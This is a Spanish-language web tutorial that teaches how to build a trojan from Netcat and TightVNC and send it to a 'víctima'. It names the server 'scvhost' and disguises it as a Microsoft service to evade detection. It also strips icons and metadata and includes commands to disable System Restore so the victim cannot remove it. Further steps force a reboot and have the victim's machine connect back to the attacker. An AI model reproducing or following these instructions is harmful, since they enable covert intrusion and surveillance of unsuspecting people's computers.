
Última actualización: sábado, 28 febrero 2009 15:33:29
Menú principal - Tutoriales > DELTA/BETA
Introducción
En el tutorial anterior, DELTA/TANGO te comenté que existen aplicaciones y/o programas que permiten, además de ver la pantalla del host remoto, controlar el ratón y el teclado de éste. Te enseñé el Radmin 2.1, una versión antigua pero que permite hacer exactamente lo mismo que la más moderna. La cuestión es que el hecho de poder observar la pantalla del host remoto y controlar el ratón y el teclado aporta muchas ventajas. Hasta aquí todo son cosas buenas, pero en el Radmin no todo son ventajas, y es que una de las desventajas más notables es que no permite realizar conexiones inversas. El hecho de no poder realizar conexiones inversas dificulta mucho al usuario del host remoto en el caso de que éste no sepa abrir puertos en su router, y puede que para ti sea muy fácil, pero para personas que no tienen ni idea de informática no lo es tanto, además, seguiría siendo una molestia para el usuario y eso hay que impedirlo.
Entonces, si el Radmin no sirve, tendrás que recurrir a otro programa, y ese
programa es el VNC (Virtual Network Computing). VNC es un software que,
al igual que Radmin, permite realizar conexiones de control remoto en modo
escritorio remoto, que es como se les conoce a este tipo de software (lo siento
si no lo dije antes). A diferencia del Radmin, VNC permite, al igual que Netcat,
efectuar conexiones inversas, no obstante, Netcat realiza una conexión inversa
en modo texto (también conocido como consola o shell), que es como se conoce el
software de control remoto mediante consola o shell, control remoto en modo
texto.
El Netcat, como he comentado en otro tutorial, no es ni un troyano, ni un virus
ni nada por el estilo, se trata simplemente de un software de control remoto en
modo texto. Lo que ocurre es que un mal uso de este software puede ser muy
peligroso, esto se debe a varias razones: en primer lugar, la posibilidad de
funcionar con reverse shell (conexión inversa de control remoto en modo texto),
esto, como he dicho, facilita mucho llevar a cabo el control remoto del host
remoto ya que éste no necesita tener ningún puerto abierto en su router. En
segundo lugar, su tamaño, tan sólo mide 60 KB. Y finalmente por el hecho de que
no es detectado por varios antivirus como NOD32 y Kaspersky, considerados unos
de los mejores antivirus, y en el caso de Kaspersky, el mejor antivirus.
Radmin y VNC son software más comercial, el uso que se le da a ambos es más
legal, en cambio Netcat es muy utilizado por crackers. No obstante, como pudiste
comprobar en mi anterior tutorial, Radmin también puede ser un troyano, igual
que Netcat, sólo que no es tan peligroso por el simple hecho de que no permite
hacer conexiones inversas, pero está el VNC, y con éste sí que hay que tener
cuidado, porque en su caso sí que permite conexiones inversas, esto significa
que si juntas Netcat y VNC podrías estar creando una herramienta muy peligrosa,
es decir, un troyano con un gran potencial. En tu caso es lo que te interesa, de
lo contrario no creo que estuvieras leyendo este tutorial. Antes de comenzar, te
contaré por qué necesitas el Netcat también.
Como ya sabes, desde la consola de Windows se pueden arrancar servicios y
aplicaciones, recuerda que en el tutorial DELTA/TANGO te expliqué cómo iniciar y
detener el cortafuegos de Windows. Con esto quiero decir que, a pesar de que con
VNC ya puedas hacer todo lo que te interesa también necesitas una base más
sólida (Netcat) que te permita iniciar y detener VNC en el momento que quieras y
que además te sirva en el caso de que VNC falle, por la razón que sea, ya bien
porque lo haya detectado el antivirus o porque el cortafuegos lo haya bloqueado,
pero en ese caso podrás utilizar Netcat para solucionar este problema. Piensa
que desde la consola de Windows puedes hacer muchas cosas, incluso puedes
desactivar potentes antivirus y cortafuegos, y el de Windows no es potente, sin
embargo, como el cortafuegos de Windows no controla las conexiones salientes, no
lo bloqueará ni pedirá permiso al usuario.
Voy a desviarme un poco del tema, pues hay un concepto que quiero que entiendas:
arquitectura cliente-servidor, supongo que puedes deducirlo tu mismo. Se trata
de un software que se fundamenta en dos partes, el cliente y el servidor. Si has
leído el tutorial NETCAT/DELTA ya sabrás de qué hablo.
Comencemos
Voy a dejar de lado al Netcat y los demás conceptos y voy a comenzar fuerte con
el VNC. En primer lugar debes saber que existen varias versiones del VNC, puedes
descubrirlas en www.realvnc.com, yo sin
embargo sólo te voy a hablar de TightVNC. Se trata de una versión del VNC que
está optimizada para funcionar con conexiones lentas, aunque podemos configurar
sus parámetros a nuestro gusto, así pues, asignar una u otra calidad a la imagen
que recibiremos del host remoto.
Me gustaría, antes de nada, comentarte sobre la existencia de un protocolo
semejante al FTP, el TFTP (Trivial File Transfer Protocol, Protocolo de
transferencia de archivos trivial). Se trata de un protocolo de transferencia de
archivos que utiliza el protocolo UDP para transferir los datos. Se podría decir
que es una versión inferior al FTP, en el sentido de que ofrece menos
prestaciones.
¿Y para qué me sirve?, pues lo utilizarás para subir archivos del VNC, entre
otros, al host remoto una vez hayas tomado el control de la consola remota con
Netcat.
Lo cierto es que existen dos maneras de hacer que estos archivos lleguen al host
remoto:
Enviándolos por TFTP como he comentado o bien empaquetándolos todos con el
IExpress junto con el Netcat y los archivos de configuración convertidos a
ejecutables para que no muestren la consola. El primer método es el que más se
suele utilizar, el segundo se podría decir que es mi método, o al menos el que
he utilizado siempre, aunque es probable que otros lo utilicen también. Elije el
que tú quieras, de todas formas, si falla el mío puedes utilizar el otro, aunque
el mio es más rápido, eso sí, además te ahorras tener que programar tareas en el
host remoto para que los scripts en batch se ejecuten ocultos.
Si prefieres utilizar el método del TFTP puedes buscar información en Internet
de cómo utilizar este protocolo para subir archivos al host remoto. Yo voy a
explicarte mi método, entonces, comencemos.
En primer lugar, descárgate el
TightVNC 1.3.9 de mi Web. Una vez lo hayas descargado, lo ejecutas y lo
instalas, preferiblemente en la ubicación predeterminada, para evitar
complicaciones, y en el apartado de componentes selecciónalos tal y como ves en
la imagen:

En el apartado de las tareas adicionales (Additional Tasks) déjalo como aparece en la imagen (predeterminado):

Esto no añadirá TightVNC Server (el servidor TightVNC) como servicio del
sistema. No es necesario ya que no vas a utilizar el servidor sino el cliente.
Procedes con la instalación y esperas a que aparezca este mensaje:

No te preocupes por esto, simplemente te avisa de que el servidor de TightVNC no tiene una contraseña asignada. Luego la asignarás. Pulsa aceptar. Ahora te aparecerá la ventana de configuración del servidor:

Aquí metes una contraseña y no toques nada más, ya que el resto de la
configuración te la voy a dar yo preparada, en ella sólo tendrás que cambiar la
contraseña por la que hayas puesto. Una vez hayas metido la contraseña, pulsas
Aceptar, te aparecerá un icono del TightVNC Server en la bandeja del sistema,
ciérralo (Close TightVNC Server).
Recapitulemos, ya tienes el cliente y el servidor de TightVNC instalados, el
siguiente paso es obtener todos los archivos necesarios. Te vas a “C:\Archivos
de programa\TightVNC”, dentro de ese directorio hay dos archivos que te
interesan, antes de nada, crea un nuevo directorio en el Escritorio, Mis
documentos o donde quieras y ponle preferiblemente el nombre BETA, aunque este
nombre no influirá en nada. Una vez tengas el directorio creado, copia los
archivos WinVNC.exe y VNCHooks.dll del directorio C:\Archivos de programa\TightVNC”
al directorio que hayas creado, en mi caso es “BETA”.
Genial, ahora añadirás también el Netcat, para ello ya sabes qué tienes que
hacer, ¿verdad?, pues metes en el mismo directorio, junto con los otros dos
archivos, los dos archivos de DELTA (el Netcat y el archivo de configuración).
En el caso del archivo de configuración, como ya sabes, tiene que incluir tu IP
pública o host name y un puerto que esté abierto en tu router, además también
tiene que incluir 3 líneas más que indicarán que se copien tres archivos
relacionados con el VNC, son las siguientes:
copy scvhost.exe c:\windows\system32
copy VNCHooks.dll c:\windows\system32
copy config.exe c:\windows\system32
La última línea copiará el archive de configuración que vas a crear ahora. Ponle
el nombre que quieras.
Perfecto, ya tienes cuatro archivos que formarán el programa que he bautizado
como BETA, ahora sólo te falta crear el archivo de configuración del TightVNC
Server. Abres un bloc de notas y copias este código dentro:
|
REG ADD
HKEY_LOCAL_MACHINE\Software\ORL |
En este código, como ves, he marcado algunas cosas que deberás cambiar que son las contraseñas (una para obtener el control total y otra para ver solamente), el nombre del servicio, que te recomiendo que no lo cambies, a menos que tengas una idea mejor y el nombre que le vayas a dar al programa TightVNC (el archivo ejecutable), asígnalo ya, puedes utilizar el que he puesto yo si quieres. La contraseña que has asignado anteriormente la vas a encontrar en la siguiente clave del registro:
“HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default\Password”
En esta imagen puedes verlo más claramente:

Simplemente
sustituyes los datos del archivos de configuración por los de la clave Password
que te aparece en el registro, no te preocupes si no es tu contraseña ya que
está encriptada.
Una vez tengas el archivo de configuración terminado, lo guardas con el nombre
que le hayas asignado en el archivo de configuración, en otro directorio que no
sea donde tienes los otros cuatro archivos. A continuación conviértelo a
ejecutable con el
Bat
To Exe Converter 1.5, que puedes bajarlo de mi Web pulsando el enlace.
Bien, ya tienes los cinco archivos, ahora vas a quitarle el icono al ejecutable
del TightVNC Server, además vas a añadir un pequeño detalle que despistará a la
víctima. Ya sabes, ejecutas el Resource Hacker y desde ahí abres el archivo:

Como ves en la imagen, debes borrar todos los iconos que incluye el ejecutable, lo haces uno por uno, y cuando los hayas borrado todos verás que desaparecen dos claves, Icon Group e Icon:

Hecho esto, te vas a "Version Info > 1 > 1033" y lo dejas todo como se muestra en la imagen siguiente:

Pulsas “Compile
Script” y guardas el archivo. Se creará otro como copia de seguridad, prueba que
el ejecutable que has modificado con Resource Hacker se ejecuta, debería
aparecer un espacio en blanco en la bandeja del sistema, si es así ya puedes
borrar la copia de seguridad de ha creado Resource Hacker.
Ante de seguir, quiero comentarte un poco de qué va el código que has copiado
antes:
|
REG
ADD HKEY_LOCAL_MACHINE\Software\ORL |
El código se
divide en dos partes importantes, la que aparece en el color azul más claro es
la parte que agrega toda la configuración de servidor TightVNC, algunas líneas
importantes (las que están marcadas en negrita) podrían ser la que habilita
transferir archivos, la que indica que, cuando se establezca la conexión con el
host remoto, no quite el fondo de escritorio y la opción de ocultar el icono.
Esta última sólo funciona cuando el TightVNC Server se inicia como servicio, de
lo contrario de mostrará el espacio en blanco en la bandeja del sistema. La
parte en azul más oscuro es la que agrega el TightVNC Server como servicio del
sistema.
Bueno, vamos a continuar. Ahora empaquetarás los cinco archivos que has reunido
en el directorio que has creado al principio, utilizando el programa IExpress.
Cuando llegues al apartado de “Install Program to Launch” pon en la opción
“Install Program” el archivo de configuración del Netcat, el otro lo dejas
vacío.
Una vez creado el archivo, ya sabes, con el Resource Hacker le cambias el icono
y borras toda la información del ejecutable. Ahora sólo tienes que mandarle el
ejecutable a alguien y dejar el Netcat en escucha en el puerto que hayas
indicado:

Cuando recibas
la conexión deberás ejecutarle el archivo de configuración del TightVNC que en
mi caso se llama config.exe. Estará localizado en C:\WINDOWS\System32, así que
ejecutas la siguiente línea:
“C:\WINDOWS\System32\config.exe”
Ahora se ha asignado toda la configuración del TightVNC en el registro del
sistema del host remoto, también se ha asignado un nuevo servicio del sistema
con el nombre de “Servidor de correo de IMAP”, que pertenece a la compañía
“Microsoft Corporation” (está indicado en el archivo scvhost, que es el servidor
del TightVNC), ¿por qué le hemos puesto que pertenece a esta compañía?, pues
porque si la víctima entiende un poco del tema y se va a “msconfig > Servicios”
podría detectar rápidamente el servidor TightVNC marcando la casilla “Ocultar
todos los servicios de Microsoft”:

Pero como el
servicio pertenece teóricamente a la compañía Microsoft Corporation, se
ocultaría con todos los demás, esto dificultaría mucho la detección del servicio
del TightVNC Server.
Bien, ¿ahora cómo arranco el servicio del TightVNC Server para poderme conectar?
Bueno, antes de nada, ejecuta el TightVNC Viewer:

Te vas a “Options…” En la siguiente imagen he marcado la opción que, en el caso de estar activada, cuando te conectes con el TightVNC al host remoto, sólo podrás ver, pero no controlar:

En la pestaña “Globals” vas a encontrar una opción muy importante, el puerto, es el que tienes que tener abierto en tu router y debe ser otro al que utiliza el Netcat, es el puerto por el cual se conectará el host remoto a ti, así que introdúcelo:

Cuando termines,
le das a “OK” y luego en “Listening mode”. Verás que aparece un icono del
TightVNC Viewer en la bandeja del sistema, ahora el TightVNC Viewer está en
escucha, es decir, esperando una conexión por parte del servidor en el puerto
que hayas indicado.
¿Y ahora, me cuentas cómo iniciar el servicio del TightVNC Server en el host
remoto? Vale, pero antes deberás ejecutar algunas líneas en la shell remota del
host remoto:
Primero deberes desactivarle restaurar sistema, de este modo, si la víctima se
da cuenta de que le han metido algo, intentará restaurar el sistema y todas las
configuraciones, tanto del TightVNC como del Netcat se borrarán. Si le
desactivas restaurar sistema, cuando la víctima intente ejecutar el programa
para restaurar el sistema, le aparecerá un aviso que le dirá que restaurar
sistema está desactivado, le preguntará si desea activarlo, y cuando lo haga
podrá acceder al programa de restauración, sin embargo todos los puntos se
habrán borrado y no podrá deshacer la configuración de BETA. Así que ejecutas
esto en la shell remota:
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\srservice /v
Start /t REG_DWORD /d 4 /f
Ahora, para que se inicie el servicio TightVNC Server en el host remoto la
víctima deberá reiniciar el sistema, así que tenemos dos opciones: o esperar a
que la víctima lo reinicie, o si somos impacientes, reiniciarle el sistema
nosotros mismos ejecutando esto en la shell remota:
shutdown -r -t 0
Luego, esperamos a que Netcat vuelva a tomar el control de la shell remota. Una
vez haya iniciado el sistema, el servicio de TightVNC Server también habrá
iniciado, sólo faltará darle la orden desde la shell remota para que se conecte
a ti. Así que ejecutas la siguiente línea:
scvhost –connect [dirección_ip/nombre_host]:[puerto]
Se paciente, puede que tarde un poco en iniciar, si ves que tarda demasiado,
ejecuta algún comando en la shell remota, no puedo contarte el por qué, pero
esto puede hacer que se te conecte rápidamente si no lo ha hecho al ejecutar la
línea anterior.
Y esto es todo, supongo que añadiré mejoras al tutorial, por ejemplo, si
encuentro la manera de iniciarle el servicio sin que el host remoto tenga que
reiniciarse, lo aportaré. Existe también otra manera de conectarte sin que se
tenga que reiniciar el host remoto, simplemente ejecutas la siguiente línea:
“C:\WINDOWS\System32\scvhost.exe”
Y luego:
scvhost –connect [dirección_ip/nombre_host]:[puerto]
Con esto ejecutarás el TightVNC Server en el host remoto, pero aparecerá un
espacio en blanco en la bandeja del sistema ya que, como he dicho antes, el modo
del icono oculto sólo funciona cuando el TightVNC Server se ejecuta como
servicio, y por el momento la única manera que conozco para iniciar el servicio
es reiniciando el sistema. Piensa que el reinicio sólo debe hacerlo la primera
vez, cuando el servicio TightVNC Server todavía no ha iniciado ninguna vez, las
demás veces podrás conectarte sin problemas y sin que la víctima se entere de
nada.
Puede que te interese saber cómo detener, iniciar, desactivar y activar los
servicios de firewall y centro de seguridad de Windows, utiliza estas líneas en
la shell remota para hacerlo:
|
Detener/iniciar Centro de Seguridad: |